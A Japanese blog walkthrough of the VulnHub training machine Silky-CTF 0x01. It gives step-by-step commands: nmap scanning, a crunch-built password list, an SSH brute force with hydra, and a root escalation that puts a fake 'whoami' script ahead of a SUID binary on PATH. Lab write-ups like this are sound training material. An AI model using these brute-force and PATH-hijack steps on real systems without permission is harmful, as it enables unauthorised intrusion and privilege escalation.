解析メモ

マルウェア解析してみたり解析に役に立ちそうと思ったことをメモする場所。このサイトはGoogle Analyticsを利用しています。

VulnHub - Silky-CTF 0x01 Walkthrough

https://www.vulnhub.com/entry/silky-ctf-0x01,306/

 

偵察

netdiscover で IP アドレス特定

nmap -Pn -A -p- -oA nmap <IPaddr> で 22/tcp, 80/tcp が開いていることを特定

nmap の結果より notes.txt の存在を確認

notes.txt の中身より、パスワードが2文字足りないという情報を得る

トップページは Apache のデフォルトに似ているが文面を見ると administrator は silky というユーザ=ユーザ名 silky

ソースに script.js へのリンクあり

script.js 内には s1lKy の文字=パスワードの先頭は s1lKy で後ろに何か2文字

 

パスワードリストの作成

crunch 2 2 @,^% > candi1.txt

for i in $(cat candi1.txt); do echo s1lKy$i >> candi2.txt; done

for i in $(cat candi2.txt); do crunch -t $i >> passwords.txt; done

9000行くらいのリストになったがこれ以上減らしようがない。

 

足場

作ったリストで SSH ブルートフォース

hydra -l silky -P passwords.txt ssh://<IPaddr>

50分以内でヒット


[22][ssh] host: 172.16.0.2 login: silky password: s1lKy#5

 

内部探索

ホームディレクトリで find、ヒントになりそうなのは .bash_history くらい

.bash_history では sky というプログラムに SUID つけているのが見える

find / -type f -user root -perm -4000 2>/dev/null で SUID 付きの root 権限で実行できるプログラム検索

/usr/bin/sky がある

実行すると詩と書いた人 root が表示される。

strings sky > strings_sky.txt

書いた人 root は、whoami コマンドの実行結果 = root

whoami コマンドを実行したときに bash がたたかれればいい。

 

権限昇格

export PATH=/tmp:$PATH で PATH に /tmp を追加

whoami という名前のシェルスクリプトを置き、中に sh を起動する内容を書く

echo '/bin/sh' > /tmp/whoami; chmod +x /tmp/whoami

sky を実行して root で sh が起動した。

 

目的達成

/root/flag.txt の中身を確認する。